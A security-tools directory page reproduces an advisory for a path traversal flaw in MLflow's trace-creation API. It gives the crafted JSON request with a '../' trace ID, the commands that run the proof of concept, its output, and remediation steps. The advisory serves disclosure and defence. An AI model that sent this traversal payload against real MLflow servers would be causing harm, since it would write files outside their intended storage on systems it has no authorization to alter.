Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-53995-mlflow-path-traversal — MLflow <=3.17.1 path traversal allows trace file writes outside the intended directory. | Kitploit
Tools/GitHubGitHub/saiteja-erukude/cve-2026-53995-mlflow-path-traversal
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPapers & Research
GitHubsaiteja-erukude/cve-2026-53995-mlflow-path-traversal

CVE-2026-53995-mlflow-path-traversal

MLflow <=3.17.1 path traversal allows trace file writes outside the intended directory.

View Repository
128 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    352
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    291

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-53995: MLflow <= 3.17.1 StartTraceV3 Path Traversal

Severity: High, CVSS 3.1 8.2

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Affected: MLflow versions <= 3.17.1 when using the FileStore tracking backend

Component: MLflow Tracing API, StartTraceV3 / FileStore.start_trace()

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), CWE-23 (Relative Path Traversal), CWE-73 (External Control of File Name or Path)

Discovered and reported by: Sai Teja Erukude


Summary

MLflow accepts a client-controlled trace_info.trace_id through the StartTraceV3 tracing API. When the tracking backend is FileStore, this ID is used in filesystem path construction without rejecting traversal segments such as ../.

An attacker can submit a trace ID such as ../../../escaped-trace-dir to escape the intended experiment trace directory. MLflow then creates trace-related files in the resolved directory outside the trace storage tree.

Impact

When the tracing endpoint is exposed without authentication or access restrictions, an unauthenticated client can influence the filesystem location of MLflow-controlled trace files on a FileStore-backed server, subject to the server process's filesystem permissions. The included PoC uses Flask's local test client; it does not test a deployment's network exposure or authentication configuration.

The PoC demonstrates writes outside the intended experiment trace directory:

  • trace_info.yaml, containing client-supplied trace information.
  • request_metadata/poc_metadata, containing attacker-controlled metadata.
  • tags/poc_tag, containing an attacker-controlled tag value.

This affects integrity by allowing request data to control where trace-related files are written. Unexpected directories and files outside the trace storage tree may also cause limited availability impact. The demonstrated write uses MLflow's trace file formats and filenames; it does not establish arbitrary file contents, code execution, or a confidentiality impact.

The report assigns the following CVSS 3.1 metrics:

MetricValue
Attack Vector (AV)Network (N)
Attack Complexity (AC)Low (L)
Privileges Required (PR)None (N)
User Interaction (UI)None (N)
Scope (S)Unchanged (U)
Confidentiality (C)None (N)
Integrity (I)High (H)
Availability (A)Low (L)

Technical Detail

The vulnerable request path is:

POST /api/3.0/mlflow/traces
  -> _start_trace_v3()
  -> TraceInfo.from_proto(...)
  -> FileStore.start_trace(trace_info)
  -> filesystem path construction using trace_info.trace_id
  -> directory creation and trace information, metadata, and tag writes

The request supplies the ID inside trace.trace_info:

{
  "trace": {
    "trace_info": {
      "trace_id": "../../../escaped-trace-dir",
      "trace_location": {
        "type": "MLFLOW_EXPERIMENT",
        "mlflow_experiment": {
          "experiment_id": "0"
        }
      },
      "trace_metadata": {
        "poc_metadata": "attacker-controlled metadata"
      },
      "tags": {
        "poc_tag": "attacker-controlled tag"
      }
    }
  }
}

This excerpt shows the fields relevant to traversal. The runner builds the complete request, including the trace state, timestamp, and preview fields.

The client-controlled ID produces the following path resolution relative to the PoC directory:

Expected trace storage: mlruns/0/traces/
Supplied trace ID:      ../../../escaped-trace-dir
Joined trace path:     mlruns/0/traces/../../../escaped-trace-dir/
Resolved trace path:   escaped-trace-dir/

The saved response returns HTTP 200 and preserves the malicious trace ID. The resulting files sit beside mlruns/, outside the intended experiment trace directory.

Proof of Concept

run_poc.py builds a malicious StartTraceV3 request, configures a local FileStore, invokes the real MLflow HTTP route through Flask's test client, and records the response and filesystem evidence. It exercises the route without starting a listening network server.

python -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install -r requirements.txt
python -B run_poc.py

To print the machine-readable result:

python -B run_poc.py --json

The saved evidence contains these results, abbreviated here:

{
  "package": {
    "distribution": "mlflow",
    "version": "3.17.1"
  },
  "endpoint": "/api/3.0/mlflow/traces",
  "status_code": 200,
  "malicious_trace_id": "../../../escaped-trace-dir",
  "checks": {
    "http_success": true,
    "trace_info_written_outside_traces_dir": true,
    "trace_metadata_file_written": true,
    "tag_file_written": true
  },
  "success": true
}

The runner saves:

  • evidence/start-trace-request.json: the complete request body.
  • evidence/start-trace-response.json: the server response.
  • evidence/escaped-trace-info.yaml: a copy of the trace information written outside the trace directory.
  • evidence/summary.json: the package version, resolved paths, status code, and verification results.

success: true and exit code 0 mean the traversal was reproduced. A failed check returns exit code 1; this alone does not prove that a version is fixed.

The payload writes demonstration trace data under escaped-trace-dir/ inside the PoC directory. The runner also writes mlruns/ and evidence/; rerunning it replaces the saved evidence. Use a fresh copy when collecting new results, because the runner checks for files that may already exist from an earlier run. Absolute paths in the saved evidence identify the original reproduction environment and will differ in a new checkout.

A local demo video is included.

Remediation

Validate trace IDs at the FileStore boundary before constructing paths or creating directories:

  • Apply a strict allow-list for trace IDs used as filesystem path components.
  • Reject path separators, traversal segments, absolute paths, and Windows drive paths, regardless of the server platform.
  • Resolve the experiment trace directory and verify that it remains inside the experiment directory.
  • Resolve the final trace directory and verify that it remains inside the experiment's trace directory, including when existing filesystem links are present.
  • Reuse the same validation and containment checks for related FileStore lookup, write, artifact-path, and deletion operations.

Enforce these checks before filesystem side effects. Invalid IDs should raise INVALID_PARAMETER_VALUE, with the HTTP route returning 400. Valid trace IDs should continue to work. Keep filesystem-specific restrictions in the FileStore backend so other backends can retain their supported ID formats.

Until a tested patch is deployed, restrict access to the trace-creation endpoint or move trace tracking to a configured SQL backend after checking compatibility.

See fix.md for the suggested patch, compatibility considerations, and regression checks. The lookup and deletion recommendations come from source review; the included PoC demonstrates the StartTraceV3 creation path.

Credit

Download Tool